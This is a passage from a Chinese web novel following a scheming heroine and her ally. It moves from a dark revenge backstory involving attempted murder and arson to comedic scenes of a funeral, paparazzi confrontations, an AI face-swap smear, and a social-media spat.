当她还叫乔若的时候就很讨厌。 其实关于童年,她能回忆起的片段不多。 她的家似乎很大,父亲不常回来,而母亲总是在哭泣,讨人厌的哥哥很爱吱哇乱叫地撒泼。 但无论从哪一段记忆开始回放,最后的画面,总是会定格在乔盛合的眼睛上。 那双在雪夜里的充血的眼睛。 男人像是某种发狂的野生动物,鼻翼因兴奋而收缩张合,喷出的气体在冬夜里迅速凝结成白雾。 他手里举着一块石头,画面一帧一帧,慢动作般逐渐在她瞳孔中放大。 下一秒,额角传来剧痛,有什么黏腻的液体顺着皮肤流下。 乔盛合的脸颊上溅到了血珠,他抬手一抹,挥开了自己伸向他的手掌。 眼皮脱力,世界黑暗一片,头顶上方传来李娆颤抖的声音。 “盛合,我、我们真要这么做吗?我害怕……” “妈的,做都做了,磨磨唧唧的干什么,你不也嫌她烦吗。” 乔盛合唾了口唾沫,拖着她的双腿吭哧吭哧来到了悬崖边,嘴里仍在念叨个不停。 “当初要不是发现得晚,这孩子早就打掉了,乔若这条命都是老子给的,她还得感谢咱们让她享受了几年的富贵生活。” 冷冽的风刮过头皮,头发被地上的灌木扯下几缕,疼痛和刺骨的冷意让她的神志短暂清醒了些许。 眼皮勉强撑开一条细缝,她看到李娆裹紧了身上的大衣,东张西望地环顾一圈,然后踩着高跟鞋来到她面前,眼底闪起怜悯而残忍的神色。 李娆想用手拂去她脸上的脏污和血迹,可刚伸出去不到半寸便僵住了。 似是嫌弃她太脏,李娆将手缩了回去,转而开始温声和她说话。 “小若啊,不要怪爸爸妈妈,我们这也是没办法,等你下去了,我们保证每年都来看你,给你烧纸钱。” 李娆的语气变得虔诚起来,甚至闭上眼摩挲着手串,对着天空许愿: “小若啊,你一定要保佑我们乔家顺顺利利,平平安安,就当是报答我把你带到这个世界上的恩情了……” “行了,真他妈碍事,”乔盛合沉着脸一把将李娆掀开,“絮絮叨叨啰啰嗦嗦的,抓紧时间办正事。” 被推下悬崖的前一秒,她只来得及抓住李娆的珍珠耳环。 旋即,巨大的失重感伴随着李娆刺耳的尖叫将她包裹。 飞速下坠中,只能听到颅内持续不断的尖锐嗡鸣声。 幸运的是,她被树枝挂住了,面前还有个可以挡风的小山洞,走势一路向上,顺着一小截土坡往上爬,就能回到她坠崖的那片森林。 在肾上腺素作用下,她似乎感受不到额头上的伤,手脚并用地爬出了地面。 漆黑一片的森林里,她只看到了乔盛合和李娆扬长而去的车尾灯。 然后,她就被路过的邱父邱母捡了回去。 一开始她就发现了不对劲。 因为邱父邱母的车里载了好几个和她年龄相仿的小孩,个个都灰头土脸的,像是拉着一车病怏怏的牲畜。 有个男孩似乎很难受,脸上泛着不正常的潮红,病得连呼吸的力气都没有。 可邱父邱母却对此视若无睹,任由他自生自灭。 虽然害怕再遇到什么意外,可她更害怕乔盛合会回到这里寻找自己的尸体,确认她是否真的死亡。 权衡之下,她决定先去邱家躲几天看看情况,时刻注意着林子里的动静。 村子里的消息十分灵通,很快,乔家带了一大批人开始大肆寻找自己的下落,人人都在讨论那个失踪的小女儿。 有时她被指使着去洗衣服时,就能隔着一条小河远远望见林子里有红蓝两色的灯在不断闪烁。 然后某天,邱父邱母鬼鬼祟祟带走了那个病重的男孩,乔家宣称找到了自己的尸体,一切重归平静。 拐来的孩子也陆陆续续地被人接走,只有她因为脸上的疤没有人要,干活又麻利,被留了下来,变成了邱家小妹。 之后的日子也没什么特别的,无非就是虐待和打骂。 外面风声紧,邱家夫妻原本就是因为躲避追查而逃回了村子,过了几年安生日子后,又开始蠢蠢欲动起来,商量着下一站的计划。 邱凌听在耳朵里,在两人出发的前一晚,一把火烧掉了房子,将睡梦中的邱父邱母送去见了阎王。 到这时她才发现,自己或许有些不正常。 哪怕做了这些事,她好像也没什么心理负担。 不过她也很擅长安慰自己。 人贩子本来就该死,不是吗? 后来邱凌带着钱一路辗转,被好心人送进了福利院,直到福利院倒闭,她高中辍学去打工,才再一次回到了京市。 那一年,乔缨十岁,被乔家收养的传闻沸沸扬扬。 邱凌凭借着记忆,去乔家附近的几户人家里应聘保姆,偷偷打听着消息,伺机而动。 很快,收养乔缨还不到一年,李娆因为精神问题被乔家父子俩送进了精神病院,邱凌便也辞去了保姆的工作,去当了李娆的护工。 苍天有眼,李娆得了癌症,虽然只是初期。 她仍然总是在哭泣,在邱凌三两句的挑拨和诱导下愈发疯魔,以为自己是什么虐文女主角,被病痛折磨得不成人形。 而邱凌和乔缨的相识,则纯属意外。 自打李娆进了精神病院,只有乔缨来探望过几次,还撞见了自己折磨李娆的现场。 邱凌张皇失措地想要解释,可乔缨只是盯着她额头上的疤,意味深长地笑了笑。 “没关系,她过得越惨,我就越高兴。” 乔缨弯下头,附在她耳边,轻轻巧巧地说:“咱们,有仇报仇,有冤报冤啊。” 邱凌直到现在都不确定,乔缨是不是发现了自己的身份。 但她能肯定的是,她们是一类人。 乔缨或许没自己那么坏,道德底线或许比她高,但也绝对不是什么善茬。 后来的事变得很容易,在乔缨有意无意的暗示下,乔俞诚让她当了助理。 而她也在暗地里默默替乔缨做了一些事,二人一直维持着微妙且平衡的关系。 哪怕从未有过交流,她们却对彼此的目的心知肚明。 关于那场大火,也是她蓄谋已久的结果。 汽油是她买的,而乔缨在别墅里放的火根本就不足以造成那么大的伤害。 事实上,在乔缨点燃杂物间时,邱凌也正拿着汽油走向书房。 这份不约而同的默契,将乔家父子送进了地狱。 其实她大可以选择用更加磊落正当的方法来报仇,但那太过麻烦,也未必有效。 她不需要忏悔,更不需要正义,乔家人在乎什么,那她就把什么夺走。 李娆需要爱和关注,乔盛合贪财惜命,乔俞诚重名重利。 到最后,谁都没得到自己想要的。 对邱凌而言,这就是最大的Happy ending。 “你们说,我这样的人,是不是挺可怕挺恶心的?” 邱凌摇晃着红酒杯,再度摸了摸额头的伤疤。 落日完全沉入了海平面。 最后一丝光亮消失前,海岸线上的灯光骤然亮起,照亮了她此刻溢满愉悦的眼睛。 两个金发蠢货对视一眼,磕磕巴巴地理解着这个故事,被惊得有些说不出话。 一片沉默中,肯特咽了下口水,战战兢兢地答: “谁说这人恶心的,这人可太棒了!” 第48章 第四十八章 丧葬一条龙豪华版,加急火…… 医院大楼外。 乔缨蹲在几米开外的草丛里, 向掌心哈了口气,搓搓冻僵的脸颊。 刚刚和沈家扯皮扯得她肚子都饿了,一路上又有点颠簸, 她现在忽然感觉胃有些不舒服。 “你说,我要是现在进去, 会不会被打死?” 乔缨一边问,一边目光灼灼地盯着对面的建筑。 那里全是接到乔盛合死讯后赶来的记者, 乌泱泱的一堆人站在门口, 像是堂口聚会似的,热闹得很。 等了半晌没听到回答,乔缨疑惑地转头,发现身旁空无一人,只有冷飕飕的寒风刮着草丛, 一只狸花猫蹲在脚边看着她。 “裴砚知, 你变成猫了?” 乔缨饶有兴趣地戳了戳它的脸颊,一人一猫大眼瞪小眼地对视半晌, 她很明显从狸花的眼里看出来一丝嫌弃。 “什么意思?我就开个玩笑,你不会真把我当智障了吧?” 乔缨威胁式地眯起眼睛, 将小猫抱进怀里, 毫不客气地狠狠揉了一把。 小狸花立即打起了呼噜,一颗毛茸茸的小脑袋在她脖子上蹭了蹭, 碧绿中带着一点浅金色的眼睛大而明亮,圆溜溜地看着她。 然后它伸出一只爪子, 啪唧一下拍在她的脸上, 将她的头往右推了推。 顺着小猫指引的方向,乔缨看见裴砚知正站在小吃摊前,手里还提着一个塑料袋, 里面装着什么东西。 似是注意到了她的视线,裴砚知拿出手机付了款,然后转过身,迈步向她走来。 从乔缨现在低矮的视角看,裴砚知走路就跟平移一样,整个人沉稳淡定又不失bking气场,连手上提溜着的塑料袋都成了时尚单品。 这个人真的很会装逼。 乔缨一边揉着猫头,一边啧啧感叹。 而裴砚知一回头,就看到一大一小两个脑袋鬼鬼祟祟地藏在草丛里。 和他对上视线的瞬间,两双眼睛骤然间亮了起来,乔缨举着小猫爪子和他挥了挥手,狸花猫也十分配合地冲他“喵”了一声。 人潮涌动中,心脏仿佛被击中似的一软。 裴砚知忍不住弯弯唇角,神情柔和下来,连带着刺骨的寒风好像都没有那么冷了。 为了维持高冷的人设,那笑容只在他脸上待了几秒。 他走到乔缨身边,动作优雅地往下一蹲,从塑料袋里掏出来一张饼子,张嘴咬了一口,表情很是冷酷。 乔缨看着他,脸上保持着微笑,却迟迟等不到她想听的那句话,嘴角顿时垮了下来。 难道没有给她买的吗? 不是,这人好歹也是个总裁,怎么这么抠门? 她摸着空空荡荡的胃,眼巴巴地看着那张饼,老实问道:“义兄,这是什么?” 裴砚知艰难地把嘴里的死面疙瘩咽了下去,面上却不显,一脸淡定地回答:“这饼很硬的,你别吃。” 乔缨死乞白赖朝他伸出一只手,摇头道:“不信。” 裴砚知顺从地把另一张饼递到乔缨手上,眼见着她张大了嘴一口啃了上去,眼里顿时露出几分怜悯。 意料之中,短短几秒的时间,乔缨的表情经历了新奇、自信、贪婪和疑惑,最终定格在了惊恐上。 一段变脸堪称精彩,可以直接纳入北影教材。 她哽得都快缺氧了,往嘴里疯狂灌水后才好不容易顺过气来,惊魂未定道: “不是,这饼是从哪个军火库里偷来的?吃一口那脖子得抻八百里才能咽下去。人搁家里坐着,脑瓜子出国了,看自由女神像去了。” 而且里面就这点馅,她还以为牙龈出血呢。 裴砚知把剩下的那只烤红薯塞到她手中,促狭地看着她笑:“都说了不好吃,谁让你馋嘴。” “唉我真,真的,唉我,你……唉真是,”乔缨被噎出了眼泪,捶胸顿足,大肆控诉,“你故意的吧?” 狸花猫从她怀中探出脑袋,同仇敌忾似的竖起了爪子。 裴砚知这时才看见狸花猫的全貌,逼近一点和它平视,只一眼便毫不犹豫地笃定道:“我见过它。” “巧了,我也见过,”乔缨一怔,“在乔家别墅。” “那就是了。” 裴砚知撸撸狸花猫的下巴,“它当时咬着裤腿把我带去了你的房间,最后还给我送了个礼物。” “什么礼物?” “一个运动相机。”裴砚知挑眉。 只不过收到后两人就交换了身体,所以到现在,他都还没来得及确认里面的内容。 “小朋友,你是不是认识我?” 事情逐渐诡异了起来,乔缨低头对着小狸花左看右看,喃喃自语:“你说,有没有一种可能,它真是我的魔法使,只是我没认出来?” 小狸花热情地回答:“喵!” 乔缨睁大了眼睛,惊喜道:“你看!” 被中二病支配的恐惧再度席卷了裴砚知。 他拿着饼,面无表情:“那你能不能先用你这只毁灭邪恶的恶魔左手,把这块邪恶的烧饼给摧毁了?” “浪费粮食可耻,你将就着吃吧。” 乔缨咬着饼,给他掰了一半的烤红薯,三下五除二地填饱了肚子。 因为医院里不能把猫带进去,两人只好找了一个小纸箱,把狸花猫安置在草丛里,然后绕到后门进了电梯。 蹲守在医院门外的记者早已将乔盛合死亡的消息散了出去,所以现场还来了不少吃瓜的路人。 接二连三的狗血剧情终于来到了大结局,全网舆论哗然,都在讨论盛合集团的案情以及猜测乔缨是否会表态。 毕竟从法律层面上来说,她现在和乔盛合的关系仍旧是父女,哪怕再不情愿,医院的亲属栏里也都写着她的联系方式。 病房外的走廊上,被各大老板派来探查情况的秘书们也聚在一起交头接耳,小声交换着情报。 如今盛合集团树倒猢狲散,乔盛合的亲信们都被抓了进去,连那些受过他恩惠的亲戚们也都自顾不暇,生怕和他扯上关系。 现场只有三三两两的人赶来送别吊唁,大都是像他们这样的利益相关方,没有温情全是算计,整个病房显得尤为冷清。 电梯门开,有人匆匆忙忙快步走来,低呼一声:“来了来了!” 众人循声望去,一前一后两个身影出现在走廊拐角处。 一个身材高挑,一个肩宽腿长,哪怕戴着口罩,也能一眼认出他们不是普通人。 几个机灵的记者立马围了上来,全数被裴砚知挡开了。 他尽职尽责当着保镖,一路护送乔缨到了病房中,两人全程没说一句话,压迫感极强。 待他们进屋后,众人才松了口气,议论纷纷。 “没想到,最后还是没有血缘关系的乔缨来给乔盛合收的尸,乔家人也太冷血了。” “他儿子知道这事了吗?说起来,乔俞诚被关了几天了啊?应该能保释出来吧。” “出来了也没钱啊,赔得倾家荡产,我老板还放话说要让乔俞诚付出代价呢。” “你老板是王继盛?” “你们说,乔缨这么恨乔盛合,会不会主张把遗体捐献出去?” “卧槽这也太狠了,她哥能同意吗?” 屋内,乔缨在死亡协议书上签下名字,往上提了提口罩。 没有伤感的意思,也不是有偶像包袱,主要是她的嘴角太难压,很怕自己控制不住笑出声来。 她平复了一下心情,问:“乔盛合没签遗体捐赠协议吧?” 医生推推眼镜,翻了一下记录,如实回答:“没有。” “那就好,”乔缨点头,“这种人不配当大体老师。” 做好交接,医生领着几人去太平间确认尸体。 殡仪馆的车已经到了楼下,还没来得及细看,几个工作人员便匆匆将乔盛合推进了车里。 因为乔缨预约的是丧葬一条龙豪华版,有加急火化的服务。 再不快点,就赶不上焚化炉的趟了。 而乔缨下楼时,候在楼外的记者们也是一阵骚动,纷纷将镜头对准了她的方向。 忽然,一个风风火火的男子 闯进了镜头,挡在她身前,0帧起手开始飙戏。 这人也不知是谁请来的演员,眼睛里明显带着慌张,以及背台词时的呆愣。 那人指着乔缨的鼻子,磕磕巴巴地撒起泼来。 “你、你一个没有血缘关系的养女,有什么资格火化我二……二舅姥爷的尸体!别以为我不知道,那把火就是你放的,他是被你害死的,你这个蛇蝎心肠的杀人凶手!” 记者嗅到了大新闻的味道,扛着镜头层层叠叠地围了过来。 一个路人小姑娘磕着瓜子,不知道什么时候挤进了八卦中心,一直竖着耳朵往乔缨身边挪,神情是越听越激动,挪不动了也硬挪。 乔缨用手掌抵住她的脑门儿,无奈道:“大妹子,你都快进我嘴里了,要不你坐我嗓子眼儿里听呢?” 小姑娘讪讪笑了两声,给她兜里抓了两把瓜子当作赔罪。 乔缨又上前几步,握住男子的肩膀,鼓励道:“你说得对,那你去替你二舅姥爷收骨灰吧。” 话音未落,男人便感觉肩上一阵闷痛,一股巨大的推力将他掀进了敲锣打鼓的电动三轮灵车里。 他瞪着眼睛,表情错愕。 乔缨拍拍手上不存在的灰尘,无比真诚地笑了起来: “真替你二舅姥爷感到欣慰,有你这么孝顺的大孙子还真是积善成德,祝你和你二舅姥爷早日团聚,以解相思之苦!” 还未等男人开口,司机拧动了油门把手。 灵车就这样载着欢快的唢呐和绝望的他,一路绝尘而去。 有记者大着胆子把话筒递了过来,不住追问:“乔缨小姐,请问你对此还有什么想说的吗?” 乔缨想了想,偏过脑袋,将一侧的脸颊对准镜头,摸着下颌线,眼神睥睨。 “记得拍我左脸,我左脸比较好看。” 第49章 第四十九章 不是他,他比这个大…… 身旁的人发出一声短促的笑。 乔缨双手抱臂, 仰头和他对视,挑眉道:“这位保镖先生,你有什么意见吗?” “不敢。” 裴砚知嘴上说着顺从的话, 唇边的笑意却丝毫没有收敛的意味,微微低着头, 黑眸直直看向面前这个张牙舞爪的人。 他很喜欢乔缨的眼睛,视线总是不自觉地停留在上。 那双眸子和她本人如出一辙, 漂亮、冷淡, 且永远都是不服输的样子。 明亮又冷漠,像钻石一样。 刚才和灵车一起被送走的演员不是一个人,几个和他一伙的狗仔正架着机位直播。 其中一个手里举着话筒,死命往前递了递,不怀好意地说:“乔缨小姐, 你最近似乎有很多绯闻啊。” 乔缨向身旁那人撇去一眼, “哪有很多,不就只有裴砚知一个人吗?” 见她上了套, 狗仔立马举起手机,把手上新鲜出炉的几条热搜推送怼到两人面前。 一条是来自沈家的黑通稿, 说乔缨在解除婚约前就和裴砚知有亲密关系, 违约在先,配图还是那张在饭店里的偷拍照。 狗仔言辞激烈地问:“所以你和裴先生有不正当关系吗?今天去沈家退婚是否是一场恶人先告状的自我炒作?” “确实挺不正当的。” 乔缨点点头, 在狗仔逐渐兴奋起来的眼神里,高深莫测地说出了一句常人无法理解的话。 “据野史记载, 裴砚知曾为我诞下一子。” “野史不是狗史。” 一众匪夷所思的倒吸声中, 裴砚知额角抽动,面不改色,对着狗仔循循善诱:“什么都信只会害了你。” 但狗仔早有准备, 手指在屏幕上向下一滑,下一条热搜的推送标题更是劲爆。 【爆!深扒昭星集团发家史,裴砚知的财富来源竟是它!】 配图则是一张辣眼睛的裸/男照,不知被谁AI换脸换成了裴砚知,技术还挺厉害,一眼看去瞧不出什么破绽。 四周捂着眼睛一片嘘声:“卧槽,恶俗啊!” 狗仔一心想拍到乔缨失态的画面,将镜头对准。 可她只是凑近看了看,旋即快速否认:“假的,裴总腰上有颗痣。” 而且是粉色的。 她的意思是,哪儿哪儿都粉。 “的确不是他,他比这个大。” 裴砚知觑眼看着照片,语气散漫。 这是可以说的吗? 乔缨飞速扭头,震惊地看他一眼。 他不紧不慢地补上一句:“我是说肌肉。” 狗仔以为裴砚知只是个保镖,非常不满他插话的行为,呛声道:“我和乔缨说话呢,你一个泥腿子保镖,在这里装什么熟!你和裴砚知什么关系啊?” 裴砚知缓缓吐出两个字:“同乡。” 乔缨被口水呛了一下,憋笑的脸涨得通红,宽慰地拍拍裴砚知的肩膀。 用脚后跟想都知道,这么拙劣的手段,绝对是蒋南宇这个阴湿男干出来的好事。 盛宇科技眼见着不行了,他现在卷走了投资人的钱逃之夭夭,大概已经破罐子破摔了,势必要把裴砚知的名声搞臭。 只是没想到,居然连裴砚知都会被造黄谣,这个世界也太荒谬了一点。 乔缨兀自摇摇头,不再理会狗仔们的纠缠,转身欲走,那个磕瓜子的女孩迅速跟了上来。 她睁着一双圆溜溜的眼睛,边走边问:“你和沈颐会上《再见爱人》吗?” 乔缨哑然:“会上《再见仇人》。” 身为一线吃瓜网友,深知乔缨那张淬了毒的嘴有多刻薄,女孩忍不住震惊:“仇人这个形容也太温和了,你居然没说《再见吊人》?!” “打算说的,”乔缨顿了顿,“不太文雅。” 记者被保安们远远拦在身后,一行人回到了安置小狸花猫的草地,发现现场只留下了一个空荡荡的纸盒子。 裴砚知在现场找了一圈,皱眉道:“你的魔法使好像不见了。” 女孩语气遗憾:“狸花猫的花语———手慢无啊。” 乔缨拍拍手起身,沮丧的情绪只停留了片刻,叹了口气:“算了吧,我习惯了。” 她的运气就是这么差劲。 乔缨有理由相信,以她的倒霉体质,哪怕有一天自己意外穿书了,获得什么可以看见弹幕的金手指,也只能看到满屏幕的“宝贝回家”和“保护动物”,没点大用。 所以为了预防乳腺结节,乔缨向来擅长于把期望放到最低,可以迅速调整好落空的情绪。 不抱希望,就不会失望,这是一条铁律。 “行了,我送你回去吧。” 见女孩身上只穿着一层薄薄的病号服,乔缨将她送到了一楼的电梯口。 转身的一瞬间,却不小心和一个人撞在了一起,她吃痛地揉揉手臂。 还没等她开口道歉,面前便响起一个温温柔柔的声音:“乔缨?” 乔缨迷茫地低下头。 眼前的女人长得很美,肤如凝脂,容貌姣好,身型单薄纤长,看起来柔柔弱弱的,十分惹人怜爱。 她心里咯噔一声,还未出声,裴砚知先她一步摘下了口罩,疑惑道:“林小姐?你们认识吗?” 林家在京市也算是有名有姓的大家族,其经营的化工集团是国内日化行业的龙头,旗下的品牌个个名声响亮,长盛不衰。 这位林小姐,全名叫林曌,是下一代集团掌权人最有竞争力的人选。 和柔柔弱弱的外表不同,她做事风格十分激进,杀伐果决,行事大胆,短短时间内就站稳了脚跟,和集团元老们分庭抗礼。 除此之外,围绕着她的身世,也有许多的八卦传闻。 林家有着诸多豪门家庭的标准配置,成员构成十分混乱复杂。 有人说林曌其实是私生女,林家为了颜面,才对外宣称她是被找回来的真千金。 但无论如何,毋庸置疑的是,林曌是个狠人。 不过这样的人,怎么会和乔缨扯上关系? “乔小姐以前救过我一命。” 因为合作,林 曌此前和裴砚知见过几面,认出来后也礼貌性地朝他点点头,打了声招呼,笑着回答了刚才的问题。 乔缨听罢,心里又咯噔一声。 该来的还是来了。 没错,林曌就是原著里最后一个恶毒女配。 正如前文所说,这是一本教科书般的配平文学。 除了男女主以及男女主的闺蜜和兄弟,连两人的助理都硬生生凑成了一对。 有趣的是,和许声蕴x傅司宴这对典型的霸总配娇妻不同,林诗怡和周商越走的是大小姐走下神坛,爱上坏小子的路数,其间还夹杂着疯批男二爱而不得的狗血情节。 而林曌正是疯批男二为了刺激女主而找的工具人,在剧情里扮演一朵面若观音、心如蛇蝎的白莲花。 林曌和沈颐的经历相似,也是在多年前被送回林家的私生女,成为了林诗怡的姐姐。 但她却没有沈颐那样的好运气,没有一个爱她爱到骨子里的亲妈作者,所以一直受到以林诗怡为首的排挤和霸凌。 按照剧情,她会因记恨林诗怡而黑化,不断挑拨离间疯批男二和林诗怡的关系,还冒充周商越的救命恩人,蓄意勾引。 后来事情败露,疯批男二将她送去了缅甸电诈园自生自灭,经历种种折磨后潦草下线。 很标准的恶毒女配故事线,简直片面刻板到没有任何出人意料的地方。 不过嘛,这条cp线,算是被乔缨无意识间,硬生生拆掉了。 因为疯批男二早在几年前就变成了植物人。 思及此,乔缨朝林曌勾勾唇角,语气调侃:“今天也是来看那个超雄残废的?” “毕竟还是要做做样子的。” 林曌挽起耳边的碎发,想到乔盛合去世的消息,莞尔一笑:“我现在是不是……不应该说节哀,而应该说恭喜?” 乔缨不置可否地挑挑眉。 出于好奇,乔缨和裴砚知随着林曌来到了病房外,隔着一层玻璃看向屋内。 疯批男二时厌毫无生气地瘫在床上,而本应该和周商越甜甜蜜蜜的林诗怡,此刻正拿着毛巾替他擦拭着身体。 植物人通常会出现大小便失禁的情况,林诗怡嫌恶地端起了屎盆子,神情不耐,嘴里不断咒骂。 “这是时家的要求。” 林曌看着眼前荒诞的场景,表情淡漠,不疾不徐地给裴砚知解释。 “当初时厌一个人跑去了废弃的仓库,被掉落下来的钢材砸伤,后来时家人在他手机里发现了林诗怡约他去仓库见面的消息,便认定是她的责任,勒令她来照顾时厌。” 时家人的做法很是武断,但其实也情有可原。 说得不好听一点,林诗怡原本就是个没教养的太妹性子,被家人宠得无法无天,一贯是嚣张跋扈的作风。 当初林曌刚来到叶家时,对于这个凭空冒出来的姐姐,林诗怡怎么看都看不顺眼,三天两头地来找她麻烦,连在大冬天里把她扔进泳池取笑玩闹都是司空见惯的事情。 偏偏因为林家的无限溺爱,大人们都对她的行为睁一只眼闭一只眼,往往还会反过来数落林曌的不是,让她安分守己别动歪心思。 后来时家出了事,时厌被送到林家抚养了几年,林诗怡折磨的对象便转移到了他身上,动辄皮鞭伺候,怎么残忍怎么来。 这一来二去,居然让时厌得了斯德哥尔摩综合征,爱她爱得死去活来。 回到时家后,父母发现了时厌身上的伤痕,他还揽下责任,恳求他们别去找林诗怡的麻烦。 时父时母虽相信了他的说辞,却对林诗怡多了几分偏见和防备,认为此人心术不正。 如此一来,将林诗怡当成始作俑者是再正常不过的事情。 时厌伤得很重,苏醒的可能性微乎其微。 由于时家的施压,林诗怡现在已经被逐出家门。 大小姐的光环不再,她只能屈居在医院里给时厌端屎端尿,以此来从林家那里换取一点生活费。 林曌轻轻说道:“因果循环,报应不爽。” 裴砚知听着讲述,对这段掐头去尾的故事没太当真。 很显然,林曌隐瞒了一些事实,但裴砚知对此并不感兴趣。 除非……这事和乔缨有关。 他侧头看去,乔缨打了个哈欠,疑惑地朝他眨眨眼睛。 第50章 第五十章 也不红,倒是爱蹭。 他们并没有在医院待很久。 告别了林曌, 陆嘉泽正候在楼下的车旁,看到两人的身影后立即迎了上来。 他打开后座的门,低声报告道:“裴总, 已经准备好了。” 裴砚知点点头,和乔缨坐进车里, 中间隔着半个人的距离,双双盯着眼前的平板。 毫不意外, 刚刚在医院门口的直播立即被有心之人送上了热搜, #乔缨裴砚知#的词条高高挂起,黑通稿一波接一波,水军假装成路人引导舆论。 连沈颐都亲自下场带节奏,连发几条微博,全都是泸沽湖开花的照片, 明里暗里都在说乔缨水性杨花。 “他也太不要脸了。” 乔缨瞠目结舌, 拿出手机怒气冲冲地登上微博,连指甲盖都在用力, 按着键盘噼里啪啦打字。 炸毛了。 掌心一震,特别关注的推送弹了出来, 裴砚知偏开视线瞥了一眼, 发现乔缨转发了沈颐的微博,还配上了一行贱嗖嗖的文字。 【乔缨V:也不红, 倒是爱蹭。】 发完这一条,乔缨还没解气, 她直接点进了沈颐的主页, 顺着时间线挨个转发,杀红了眼。 【沈颐V:今日份自拍~我想换发型了,美式前刺还是寸头?】 【乔缨V回复:别发鬼图, 你适合坟头。】 【沈颐V:成年人的世界太复杂,但我的内心很干净,是世界上独one无two的存在。】 【乔缨V回复:你装完了吗?】 【沈颐V:今日看书有感,不要去在意外界的眼光和看法,做自己就好。】 【乔缨V回复:哥哥闭上眼睛继续糊吧,勇敢奔跑,前面就是万丈悬崖![爱心][爱心]】 【沈颐V:感谢各位的支持,让我获得这个奖项,咱们2024作品见!】 【乔缨V回复:谁知道你这影帝是怎么来的(无恶意)】 【乔缨V回复:你后面墙都P歪了(无恶意)】 【乔缨V回复:求水奖后假装惊喜教程(无恶意)】 【乔缨V回复:小哥哥你的脸像是被三楼掉下来的熨斗砸过一样哈(无恶意)】 当然,乔缨也没放过夫唱妇随暗戳戳点赞她黑料的阮绵绵,按照同样的流程来了一遍。 【阮绵绵V:女孩子还是不要太拜金太物质了,既然分开了,为什么不留给彼此一点体面呢?金钱哪有感情重要。】 【乔缨V回复:说得好,那你今年按时交税了吗?】 【阮绵绵V:我不喜欢和女人打交道,学不会那些弯弯绕绕和勾心斗角,好烦恼。】 【乔缨V回复:没关系,屎壳郎也不喜欢金元宝。】 【阮绵绵V:别墅聚餐,助理小林给我们带的咖啡,谢谢亲爱的~】 【乔缨V回复:吃完这顿,挑个好日子走吧![比心][玫瑰]】 小发雷霆一番后,这两人所剩无多的粉丝骂得更来劲了,纷纷涌到乔缨的微博下撒泼,可寡不敌众,大多数都被乔缨的粉丝压了下去。 【哈哈哈求刻薄教程。】 【不开玩笑,乔缨舔一下自己的嘴会被毒死吧?】 【沈渣男刚刚上线下线好几次了,居然连句话都不敢说,疑似失去所有力气和手段哈。】 【妈呀,我姐签个合同契约订婚跟有了前科一样,遭老罪了。】 【她像出门的时候踩到了两坨名为“沈颐”和“阮绵绵”的狗屎,有种怎么甩都甩不掉的绝望感。】 【乔缨:女的一巴掌,男的更是两巴掌。】 看着这些妙语连珠,乔缨自顾自地呲着大牙嘎嘎乐。 一旁的裴砚知瞥到评论里夹杂的几条谩骂和人身攻击,慢声道:“他们都把你骂成这样了,你不会伤心吗?” “这有什么好伤心的,”乔缨不在意挑挑眉,“攻击力度 不到位的,我一律视为调情。” 作为炮灰反派,有两个必不可少的人物特质:一张核弹都轰不烂的厚脸皮,以及一颗强大且乐观的坏心眼。 这方面,乔缨显然是个中高手。 她顺手点进其中一个黑粉的主页,几页的微博刷下来,全都是转发的乔缨黑料,隔着屏幕都能感受到她对乔缨的恨意有多汹涌澎湃。 乔缨露出一个果不其然的表情,指着那人的头像,自信道:“看吧,暗恋我,每条都是我的新闻。” “你还挺骄傲。” 裴砚知翘起唇角,发现乔缨的确没把那些言论放在心里而不是逞强后,逐渐放下了心来。 其实他一开始的想法就是撤热搜。 毕竟那条造谣他包养乔缨的微博传播得太广,甚至还结合了蒋南宇给他P的AI换脸图,称两人是在下海时遇见的,之前是同行。 说得有鼻子有眼,跟趴俩人床底下偷听似的。 但乔缨却说现在舆论已经发酵开,沈家和蒋南宇摆明了要和他们作对,现在撤热搜词条无异于变相承认,此地无银三百两,正中下怀。 两方协商后,大家一致同意不如借着这波白来的热度整个大活,提前官宣,所以并没有第一时间发布辟谣的公告。 可这种沉默看在某些人眼里,就等于是默认,越发猖狂起来,这才有了沈颐刚刚那出暗讽的戏码。 沈家养的八百个营销号纷纷下场,连带着不少网友也被带偏,加入了这场舆论战争。 “感谢我吧,我可是替你省了好大一笔营销费。” 乔缨在手指上一圈一圈绕着头发,百无聊赖地打了个哈欠。 屏幕左上角的数字跳到20:00,讨论度达到峰值,量闻的广告准时上线,官宣代言人的消息同步放出,物料大范围铺开。 其中数量最多的,要数广告花絮里一个几秒钟的切片。 因为需要展示耳机的运动性能,在乔缨的建议下,裴砚知穿着网球服补拍了几张照片。 他做了几个挥拍的动作,跳跃时衣服微微卷起,刚好露出一小截腰腹。 很显然,画面里能看到清清楚楚的人鱼线和一颗隐隐约约的小痣。 与此同时,在公关团队的有意引导下,人们顺利扒出来裴砚知的家世。 这种留给网友自行想象的回应,不仅没有半点洗白的不适感,还让所有的谣言不攻自破。 接下来便是两方的法务部门出手,营销号瞬间哑火,接二连三删帖销号,所有参与的水军公司均被一锅端。 当初裴砚知收集的那些不当言论也派上了用场,让本就声名狼藉的沈颐更是雪上加霜。 潮水褪去,只有再一次被舆论利用的网友留在原地懵逼,然后愤怒地冲进了沈颐的微博里骂了个爽。 这次借力打力的营销,裴砚知宣传了产品,乔缨获得了热度,网友宣泄了情绪。 只有沈家和蒋南宇没得到半点好处。 做完宣发的工作后,乔缨工作室也适时发出了声明,称两人暂时只是朋友,以此安抚粉丝。 “暂时”这两个字就很灵性,大大方方挑明了关系,还留有余地,粉丝妈妈和金主爸爸都不得罪。 下一秒,乔缨仿佛脸滚键盘似的打下了一长串字母,转发了这条声明: 【乔缨V:qywarmb,swa!】 裴砚知不解:“什么意思?” 这是什么二次元的话吗? 而某人回答得掷地有声:“首字母缩写啦,乔缨唯爱人民币,是唯爱!” 说完,她又停顿了几秒,清清嗓子,好声好气地和他商量:“不过我的粉丝可能会去骂你,她们年纪小,你多担待点,不要和她们计较好不好?” “骂我?为什么?”裴砚知更加迷惑了。 在贺晓女士时不时外放的那些小说中,不乏有娱乐圈题材的作品。 印象中,里面那些男女主角要是传绯闻,全世界的人都莫会名其妙吻上来嗑cp,一口一个好般配。 为什么到他这里就要挨骂了? 他不配当男主吗? 怎么可能。 面对他的质问,乔缨对对手指,默默道: “是这样,女明星的粉丝大都是事业粉,而我之前对沈颐干的那些破事已经给她们整出PTSD了,所以现在全世界的男人,在她们眼里都是……垃———圾。” 乔缨端详着他的脸,蹙眉掂量片刻后,再度肯定了自己的观点,加重语气:“哪怕是你。” 好一个哪怕是你。 